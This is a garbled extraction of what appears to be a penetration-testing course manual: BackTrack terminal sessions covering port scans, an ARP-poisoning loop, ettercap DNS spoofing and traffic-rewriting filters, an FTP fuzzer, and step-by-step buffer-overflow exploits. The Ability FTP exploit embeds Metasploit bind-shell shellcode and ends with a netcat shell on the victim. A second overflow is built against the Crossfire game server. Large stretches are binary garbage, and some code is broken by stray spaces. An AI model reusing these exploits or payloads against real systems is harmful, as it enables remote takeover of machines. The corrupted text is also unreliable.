+------+-------------+-------+------+----------+-----------------+-----------------+-----------------+--------------------------+ 

8 rows in set (0.00 sec) 

 

mysql> exit  

Bye 

root@bt:~# 
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root@bt:~# outputpbnj -q latestinfo  

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

Thu Mar 11 13:24:10 2010        0       netbios-ssn      up      unknown version tcp 

root@bt:~# 
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root@bt:~# apt-get install unicornscan 

root@bt:~# us 192.168.0.110 

TCP open                     ftp[   21]         fro m 192.168.0.110  ttl 128 

TCP open                    smtp[   25]         fro m 192.168.0.110  ttl 128 

TCP open                    http[   80]         fro m 192.168.0.110  ttl 128 

TCP open                    nntp[  119]         fro m 192.168.0.110  ttl 128 

TCP open                   epmap[  135]         fro m 192.168.0.110  ttl 128 

TCP open             netbios-ssn[  139]         fro m 192.168.0.110  ttl 128 

TCP open                   https[  443]         fro m 192.168.0.110  ttl 128 

TCP open            microsoft-ds[  445]         fro m 192.168.0.110  ttl 128 

TCP open                   nntps[  563]         fro m 192.168.0.110  ttl 128 

TCP open               blackjack[ 1025]         fro m 192.168.0.110  ttl 128 

TCP open                     cap[ 1026]         fro m 192.168.0.110  ttl 128 

TCP open                  exosee[ 1027]         fro m 192.168.0.110  ttl 128 

TCP open            ms-streaming[ 1755]         fro m 192.168.0.110  ttl 128 

TCP open                 unknown[ 6666]         fro m 192.168.0.110  ttl 128 

root@bt:~#                                                                     

��"���%������"��#@"
����������������
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root@bt:~# us 192.168.0.0/24:139 

TCP open             netbios-ssn[  139]         fro m 192.168.0.1  ttl 128 

TCP open             netbios-ssn[  139]         fro m 192.168.0.3  ttl 128 

TCP open             netbios-ssn[  139]         fro m 192.168.0.75  ttl 128 

TCP open             netbios-ssn[  139]         fro m 192.168.0.110  ttl 128 

TCP open             netbios-ssn[  139]         fro m 192.168.0.157  ttl 64 

root@bt:~#                                           
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root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward 
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#!/bin/bash 

 

while [ 1 ];do 

file2cable -i eth0 -f arp-victim 

file2cable -i eth0 -f arp-gateway 

sleep 2 

done 
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root@bt:~# ./arp-poison.sh 

file2cable - by FX <fx@phenoelit.de> 

        Thanx got to Lamont Granquist & fyodor for their hexdump() 

file2cable - by FX <fx@phenoelit.de> 

        Thanx got to Lamont Granquist & fyodor for their hexdump() 

file2cable - by FX <fx@phenoelit.de> 

        Thanx got to Lamont Granquist & fyodor for their hexdump() 
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root@bt:~# ettercap -G 

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA �
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microsoft.com      A   192.168.2.114 

*.microsoft.com    A   192.168.2.114 

www.microsoft.com  PTR 192.168.2.114      # Wildcar ds in PTR are not allowed �
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if (ip.proto == TCP && search(DATA.data, "rocks") )  { 

   log(DATA.data, "/tmp/muts_ettercap.log"); 

   replace("rocks", "stinks"); 

   msg("Stinks substituted and logged.\n"); 

} 

 

if (ip.proto == TCP && search(DATA.data, "hired") )  { 

   log(DATA.data, "/tmp/muts_ettercap.log"); 

   replace("hired", "fired"); 

   msg("Fired substituted and logged.\n"); 

} 
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#!/usr/bin/python 

import socket 

# Create an array of buffers, from 20 to 2000, with  increments of 20.  

buffer=["A"] 

counter=20 

while len(buffer) <= 30: 

        buffer.append("A"*counter) 

        counter=counter+100 

# Define the FTP commands to be fuzzed 

commands=["MKD","CWD","STOR"] 

# Run the fuzzing loop 

for command in commands: 

        for string in buffer: 

                print “Fuzzing ” + command + " with  length:" +str(len(string)) 

                s=socket.socket(socket.AF_INET, soc ket.SOCK_STREAM) 

                connect=s.connect(('192.168.244.129 ',21)) # hardcoded IP address 

                s.recv(1024) 

                s.send('USER ftp\r\n') # login proc edure 

                s.recv(1024) 

                s.send('PASS ftp\r\n') 

                s.recv(1024) 

                s.send(command + ' ' + string + '\r \n') # evil buffer 

                s.recv(1024) 

                s.send('QUIT\r\n') 

                s.close() 
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root@bt:~# ./simple-fuzzer.py 

Fuzzing MKD:1 

Fuzzing MKD:20 

Fuzzing MKD:40 

Fuzzing MKD:60 

... 

Fuzzing STOR:900 

Fuzzing STOR:920 

Fuzzing STOR:940 

Traceback (most recent call last): 

  File "./simple-fuzzer.py", line 26, in ? 

    s.recv(1024) 

socket.error: (104, 'Connection reset by peer') 

root@bt:~#  
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#!/usr/bin/python 

import socket 

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

buffer = '\x41' * 2000 

print "\nSending evil buffer..." 

s.connect(('192.168.103.128',21)) 

data = s.recv(1024) 

s.send('USER ftp' +'\r\n') 

data = s.recv(1024) 

s.send('PASS ftp' +'\r\n') 

data = s.recv(1024) 

s.send('STOR ' +buffer+'\r\n') 

s.close() 
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bt tmp # ./ability-poc.py 

Sending evil buffer... 

bt tmp #    
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root@bt:~# cd /pentest/exploits/framework3/ 

bt framework3 # cd tools/ 

bt tools # ./pattern_create.rb 2000  

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6 Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0
Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7 Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1
Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8 Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2
Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9 Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3
Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4
Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1 Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5
As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2 Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6
Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7
Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4 Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8
Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5 Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9
Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6 Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0
Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7 Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1
Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8 Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2
Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9 Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3
Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0 Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4
Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1 Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5
Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2 Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6
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Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7
Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4 Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8
Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5 Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9
Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6 Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0
Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co 

bt tools # 
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bt tools # ./pattern_offset.rb Bg2B 

966 

bt tools # 
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#!/usr/bin/python 

import socket 

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

 

buffer = '\x41' * 966 + '\x42' * 4 + '\x43' * 1030 

print "\nSending evil buffer..." 

s.connect(('192.168.103.128',21)) 

data = s.recv(1024) 

s.send('USER ftp' +'\r\n') 

data = s.recv(1024) 

s.send('PASS ftp' +'\r\n') 

data = s.recv(1024) 

s.send('STOR ' +buffer+'\r\n') 

s.close() 
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#!/usr/bin/python 

import socket 

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

ret = "\x29\x4c\xe1\x77"        # 77E14C29 JMP ESP USER32.dll 

buffer = '\x41' * 966 + ret + '\x90' * 16 + '\xCC' *1014 

print "\nSending evil buffer..." 

s.connect(('192.168.103.128',21)) 

data = s.recv(1024) 
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s.send('USER ftp' +'\r\n') 

data = s.recv(1024) 

s.send('PASS ftp' +'\r\n') 

data = s.recv(1024) 

s.send('STOR ' +buffer+'\r\n') 

s.close() 
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int MessageBox( 

      
    HWND hWnd, 

    LPCTSTR lpText, 

    LPCTSTR lpCaption, 

    UINT uType 

); 
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hWnd 

[in] Handle to the owner window of the message box to be created. If this 

parameter is NULL, the message box has no owner win dow. 

lpText 

[in] Pointer to a null- terminated string that contains the message to be 

displayed. 

lpCaption 

[in] Pointer to a null- terminated string that contains the dialog box titl e. 

If this parameter is NULL, the default title Error is used. 

uType 

[in] Specifies the contents and behavior of the dialog b ox. This parameter 

can be a combination of flags from the following gr oups of flags.  
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[BITS 32] 

mov ebx, 0x00584148 ;  Loads a null-terminated string “HAX” to ebx 

push ebx ;  pushes ebx to the stack 

mov esi, esp ;  saves null-terminated string “HAX” in esi 

xor eax, eax ;  Zero our eax (eax=0) 

push eax ;  Push the fourth parameter (uType) to the stack (va lue 0) 

push esi ;  Push the third parameter (lpCaption) to the stack (value HAX\00) 

push esi ;  Push the second parameter (lpText) to the stack (v alue HAX\00) 

push eax ;  Push the first parameter (hWnd) to the stack (valu e 0) 

mov eax, 0x7E45058A ; Move the MessageBoxA address in to eax 

call eax ; Call the MessageBoxA function with all parameters s upplied. 
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bt framework3 # ./msfpayload windows/shell_bind_tcp O  

       Name: Windows Command Shell, Bind TCP Inline  

    Version: 4419 

   Platform: Windows 

       Arch: x86 

Needs Admin: No 

 Total size: 317 

Provided by: 

  vlad902 <vlad902@gmail.com> 

Basic options: 

Name      Current Setting  Required  Description 

----      ---------------  --------  ----------- 

EXITFUNC  seh              yes       Exit technique : seh, thread, process 

LPORT     4444             yes       The local port  

Description: 

  Listen for a connection and spawn a command shell  

bt framework3 #  

�

bt framework3 # ./msfpayload windows/shell_bind_tcp C  

/* 

 * windows/shell_bind_tcp - 317 bytes 

 * http://www.metasploit.com 

 * EXITFUNC=seh, LPORT=4444 
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 */ 

unsigned char buf[] = 

"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x 24\x24\x8b" 

"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x 5f\x20\x01" 

"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\x c0\x74\x07" 

"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\x e5\x8b\x5f" 

"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x 03\x2c\x8b" 

"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x 8b\x40\x0c" 

"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\x ec\x50\xff" 

"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x 54\xff\xd0" 

"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x 81\xed\x08" 

"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\x ff\xd6\x53" 

"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x 11\x5c\x66" 

"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x 6a\x10\x51" 

"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x 55\xff\xd0" 

"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\x ff\xd0\x93" 

"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x 6a\x64\x66" 

"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x 6a\x44\x89" 

"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x 8d\x7a\x38" 

"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\x d6\x5b\x57" 

"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x 68\xad\xd9" 

"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x 57\xfc\x83" 

"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x 53\xff\xd6" 

"\xff\xd0"; 

bt framework3 # 
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#!/usr/bin/python 

import socket 

shellcode =("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x 60\x8b\x6c\x24\x24\x8b" 

"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x 5f\x20\x01" 
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"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\x c0\x74\x07" 

"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\x e5\x8b\x5f" 

"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x 03\x2c\x8b" 

"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x 8b\x40\x0c" 

"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\x ec\x50\xff" 

"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x 54\xff\xd0" 

"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x 81\xed\x08" 

"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\x ff\xd6\x53" 

"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x 11\x5c\x66" 

"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x 6a\x10\x51" 

"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x 55\xff\xd0" 

"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\x ff\xd0\x93" 

"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x 6a\x64\x66" 

"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x 6a\x44\x89" 

"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x 8d\x7a\x38" 

"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\x d6\x5b\x57" 

"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x 68\xad\xd9" 

"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x 57\xfc\x83" 

"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x 53\xff\xd6" 

"\xff\xd0") 

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

ret = "\x29\x4c\xe1\x77"        # 77E14C29 JMP ESP USER32.dll 

buffer = '\x41' * 966 + ret + '\x90' * 16 + shellco de 

print "\nSending evil buffer..." 

s.connect(('192.168.103.128',21)) 

data = s.recv(1024) 

s.send('USER ftp' +'\r\n') 

data = s.recv(1024) 

s.send('PASS ftp' +'\r\n') 

data = s.recv(1024) 

s.send('STOR ' +buffer+'\r\n') 
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s.close() �
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root@bt:~# ifconfig eth0 

eth0      Link encap:Ethernet  HWaddr 00:50:56:C0:0 0:08 

          inet addr:192.168.103.1  Bcast:192.168.10 3.255  Mask:255.255.255.0 

          inet6 addr: fe80::250:56ff:fec0:8/64 Scop e:Link 

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 

          collisions:0 txqueuelen:1000 

          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b) 

root@bt:~# ./ability.py 

Sending evil buffer... 

root@bt:~# nc -v 192.168.103.128 4444 

192.168.103.128: inverse host lookup failed: Unknow n host 

(UNKNOWN) [192.168.103.128] 4444 (krb524) open 

Microsoft Windows 2000 [Version 5.00.2195] 

(C) Copyright 1985-2000 Microsoft Corp. 

C:\abilitywebserver> ipconfig 

ipconfig 

Windows 2000 IP Configuration 

Ethernet adapter Local Area Connection: 

 

        Connection-specific DNS Suffix  . : localdo main 

        IP Address. . . . . . . . . . . . : 192.168 .103.128 

        Subnet Mask . . . . . . . . . . . : 255.255 .255.0 

        Default Gateway . . . . . . . . . : 192.168 .103.2 

C:\abilitywebserver> 

4��� *���� �����������%� �6���
���� ��
�
�%� ������� ���� �6������� �� �
��@�*���� �*�������H� "*
�*� *��� 	
����

%��������������*���
��
�����*
��T�



�


(��

�

6���8�23	�"��	��

D.  ������� ���%���� �
���"��O�� ���� ���� ���*
��� ��
�	� -� ����� .��#����A%���"
��� ��� ����		
�	�

��
�
�%��*���B��

A. ��
�������??���������
�
�%�3+��������H������*��#��* �����5���������������	���

E. �����
�%��*����������
�
�%�����"�
�������������6��� 
�������*�����5���������
�
�%��/�#�������%���

����	�����	��������������*���T�

=. �*
�������		
�	H���#�������%����������"����*������� "
�	�;����
���1�

·  ���"*����%����
��5�������"�
����C�

·  �*����"
���%���������%�����*�������C�

·  )�"����*����������%���*��������%�����*�������C�

·  )�"�����%���	������%�����*�������C��

·   ���%����
������-5+��������C��*���
��
�C�

·  �����*������%������
������%����
���*��������C�

·   ����*���6���
�����
���������%���
�	��
���������6
� ����*�
;����
���*��/�������
���*�������C�

A+*����J*
���*
��TB�

B. ���*��	*��������������*���
��
�����"��#H����������� ����
���������*
���6���
���������������
6�

����*���
������������

� �



�


(!�

�

��������	�
���
����	��

��!
����� ����344!!!�����

	��8
����	������4�!��
�	
�4�������
 ������0 ��

��	
� �������� ��
��	

� 
������� ����	���	�

� ����� ����� ���
� ����	��
��� 	��
�	�	��� !	���

���
����	�	�	�
�� 9�00� ���
�� ����	���	�

,� 	��
�	��� ���� ���
����	�	�	�
,� �
�� !�	��� �����	�� ����� ����

������ ����	�� �����	�
� ���� ���
�� 
�����
� ��	
�� �
� �� �� 	
���
��:� ��!����,� ���� ��� ���	�� ������
�	
��

�����������������	
�����������	������
�����

�

� �



�


((�

�

6�4�23���������
���3�����	����	����#��

6�4�.��	�������*�����:��

+*�� ��������� ��*
��� �6���
�
�	� ������� �������"�� 
�� �
��6� ���� �
�
���� ��� �*���� ��� �*�� �
���"��

���������� +*
�� ����
��� �6������� �*�� �������� ��� �6�� �
�
�	� �� �
��6� ����
���
��J��� ���
��� ����
���%���

-�:�����������	����������� �����
����

 �����
���
�,�7�������������������������������"�"*
 ���������
�	�
���������������#����������
����4��K�� �

�����*��:.���
��6�����		����������	��*
�����	���H�� ������*��	*��*���������@�
����%���6���%������

��
�������
���H�%���"
��������	����*��*��	����
���% ���
�	�����"��
���������������:.��
�������%���"���� ��

����		����+*
�� ����
��� �*�"�� ���%��� �
�%�������� ��� :.�� ��������� �*��� ���� ��;�
���� ��� �6���
�� �*
��

����
���
����

4��� "
��� ���� %���� �"�� ���#+���#� ���*
��� ��� ���� �*�� ����������� ����"���� ���� ��� ����	� �*��

����
���
���������������
�	��*�����������������"��� ����%�������#+���#�
������H��S���
#�����
���������� ��

�#��%��
 � ����� �*��� "
��� ���%� ����"� �����
�� ����� �*�� ������� #� 
��������� ��� %��� ���K�� ��#�� %���� �"��

���*
���������������

+*
�� ����� "
��� ���%� ��%� �����
�� ��� �*�� ����������� � ���� ���� �������� ��*���� ����� �6���
�
�	� %����

���#+���#����*
������
�	��*
���6���
��1�

iptables -A INPUT  -p tcp --destination-port 13327  -d \! 127.0.0.1 -j DROP 

iptables -A INPUT  -p tcp --destination-port 4444  -d \! 127.0.0.1 -j DROP 
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echo 0 > /proc/sys/kernel/randomize_va_space  
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#!/usr/bin/python 

 

import socket, sys 

host = sys.argv[1] 

 

crash="\x41" * 4379 

buffer  = "\x11(setup sound " + crash + "\x90\x00#"  

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

print "[*]Sending evil buffer..." 

s.connect((host, 13327)) 

data=s.recv(1024) 

print data 

s.send(buffer) 

s.close() 

print "[*]Payload Sent !" 
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���������:.�H���������
�� 
�� 1�

root@bt:~# apt-get install gdb   

root@bt:~# gdb /usr/games/crossfire/bin/crossfire  

GNU gdb 6.8-debian 

... 

This GDB was configured as "i486-linux-gnu"... 

(gdb) run  

Starting program: /usr/games/crossfire/bin/crossfir e 

... 

Welcome to CrossFire, v1.9.0 

Copyright (C) 1994 Mark Wedel. 
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Copyright (C) 1992 Frank Tore Johansen. 

 

---------registering SIGPIPE 

Initializing plugins 

Plugins directory is /usr/games/crossfire/lib/cross fire/plugins/ 

 -> Loading plugin : cfanim.so 

CFAnim 2.0a init 

CFAnim 2.0a post init 

 -> Loading plugin : cfpython.so 

... 

(gdb) continue  

Continuing. 

CFPython 2.0a init 

CFPython 2.0a post init 

Waiting for connections... 
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Waiting for connections... 

BUG: process_events(): Object without map or invent ory is on active list: mobility (0) 

Get SetupCmd:: sound AAAAAAAAAAAAAAAAAA... 

[New Thread 0xb765f8c0 (LWP 28076)] 

Program received signal SIGSEGV, Segmentation fault . 

[Switching to Thread 0xb765f8c0 (LWP 28076)] 

0x41414141 in ?? () 

(gdb) 

�

� �



�


,
�

�

��� ���	�
�)�
��

 ����������*�"����	
�����������1�

(gdb) info registers  

eax            0xb740ca0e       -1220490738 

ecx            0x0      0 

edx            0xbff84760       -1074247840 

ebx            0x41414141       1094795585 

esp            0xbff85880       0xbff85880 

ebp            0x41414141       0x41414141 

esi            0x41414141       1094795585 

edi            0x41414141       1094795585 

eip            0x41414141       0x41414141 

eflags         0x210286 [ PF SF IF RF ID ] 

cs             0x73     115 

ss             0x7b     123 

ds             0x7b     123 

es             0x7b     123 

fs             0x0      0 

gs             0x33     51 

(gdb) 
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(gdb) x/100xb $esp  

0xbff85880:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x90 

0xbff85888:     0x00    0x6d    0x40    0xb7    0x5 0    0x21    0x05    0x08 

0xbff85890:     0x41    0x00    0x00    0x00    0x0 0    0x00    0x00    0x00 

0xbff85898:     0x20    0x9b    0x7b    0xb7    0x3 c    0xca    0x40    0xb7 

0xbff858a0:     0x22    0x11    0x00    0x00    0x0 0    0x00    0x00    0x00 

0xbff858a8:     0xc0    0x65    0x76    0x09    0x4 0    0x6d    0x40    0xb7 

0xbff858b0:     0xc8    0x5b    0xf8    0xbf    0x1 4    0x5a    0xf8    0xbf 
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0xbff858b8:     0x14    0x5b    0xf8    0xbf    0x3 8    0x5d    0x02    0x00 

0xbff858c0:     0x01    0x00    0x00    0x00    0x0 6    0x00    0x00    0x00 

0xbff858c8:     0xc8    0x5b    0xf8    0xbf    0xd 8    0xd7    0x0f    0x08 

0xbff858d0:     0x40    0x6d    0x40    0xb7    0x0 0    0x00    0x00    0x00 

0xbff858d8:     0x14    0x5a    0xf8    0xbf    0x9 4    0x5a    0xf8    0xbf 

0xbff858e0:     0xa0    0xd7    0x1a    0x08 

(gdb) x/100xb $eax  

0xb740ca0e:     0x73    0x65    0x74    0x75    0x7 0    0x20    0x73    0x6f 

0xb740ca16:     0x75    0x6e    0x64    0x20    0x4 1    0x41    0x41    0x41 

0xb740ca1e:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca26:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca2e:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca36:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca3e:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca46:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca4e:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca56:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca5e:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca66:     0x41    0x41    0x41    0x41    0x4 1    0x41    0x41    0x41 

0xb740ca6e:     0x41    0x41    0x41    0x41 

(gdb) 
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Waiting for connections... 

BUG: process_events(): Object without map or invent ory is on active list: mobility (0) 

Get SetupCmd:: sound Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A... 

[New Thread 0xb75e38c0 (LWP 28405)] 

 

Program received signal SIGSEGV, Segmentation fault . 

[Switching to Thread 0xb75e38c0 (LWP 28405)] 

0x46367046 in ?? () 

(gdb) info registers  

eax            0xb7390a0e       -1220998642 

ecx            0x0      0 

edx            0xbf9b4050       -1080344496 

ebx            0x31704630       829441584 

esp            0xbf9b5170       0xbf9b5170 

ebp            0x35704634       0x35704634 

esi            0x46327046       1177710662 

edi            0x70463370       1883648880 

eip            0x46367046       0x46367046 

eflags         0x210286 [ PF SF IF RF ID ] 
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cs             0x73     115 

ss             0x7b     123 

ds             0x7b     123 

es             0x7b     123 

fs             0x0      0 

gs             0x33     51 

(gdb) 
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root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 46367046  

4368 

root@bt:/pentest/exploits/framework3/tools# 
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#!/usr/bin/python 

 

import socket, sys 

host = sys.argv[1] 

crash="\x41" * 4368 + “\x42\x42\x42\x42” + “C”*7 

buffer  = "\x11(setup sound " + crash + "\x90\x00#"  

s = socket.socket(socket.AF_INET, socket.SOCK_STREA M) 

print "[*]Sending evil buffer..." 

s.connect((host, 13327)) 

data=s.recv(1024) 

print data 

s.send(buffer) 

s.close() 

print "[*]Payload Sent !" �
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Waiting for connections... 
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BUG: process_events(): Object without map or invent ory is on active list: mobility (0) 

Get SetupCmd:: sound AAAAAAAAAAAAAAAAAAAAAA.. 

[New Thread 0xb75b98c0 (LWP 28500)] 

Program received signal SIGSEGV, Segmentation fault . 

[Switching to Thread 0xb75b98c0 (LWP 28500)] 

0x42424242 in ?? () 

(gdb) info registers  

eax            0xb7366a0e       -1221170674 

ecx            0x0      0 

edx            0xbfeb6d40       -1075090112 

ebx            0x41414141       1094795585 

esp            0xbfeb7e60       0xbfeb7e60 

ebp            0x41414141       0x41414141 

esi            0x41414141       1094795585 

edi            0x41414141       1094795585 

eip            0x42424242       0x42424242 

eflags         0x210282 [ SF IF RF ID ] 

cs             0x73     115 

ss             0x7b     123 

ds             0x7b     123 

es             0x7b     123 

fs             0x0      0 

gs             0x33     51 

(gdb) 
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root@bt:/pentest/exploits/framework3# ./msfpayload -l |grep linux |grep bind 

    linux/ppc/shell_bind_tcp        Listen for a co nnection and spawn a command shell 

